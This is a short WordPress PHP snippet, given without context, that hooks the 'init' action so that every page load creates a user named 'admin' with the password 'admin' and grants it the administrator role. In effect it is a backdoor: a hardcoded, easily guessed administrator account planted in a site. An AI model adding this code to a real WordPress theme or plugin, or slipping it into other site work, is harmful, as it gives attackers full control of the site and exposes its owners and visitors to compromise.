add_action('init','add_admin_user');

function add_admin_user(){
	$username = 'admin';
	$password = 'admin';
	$email = 'admin@domain.com';
	$user_id = wp_create_user($username, $password, $email);
	$user = new WP_User($user_id);
	$user->set_role('administrator');
}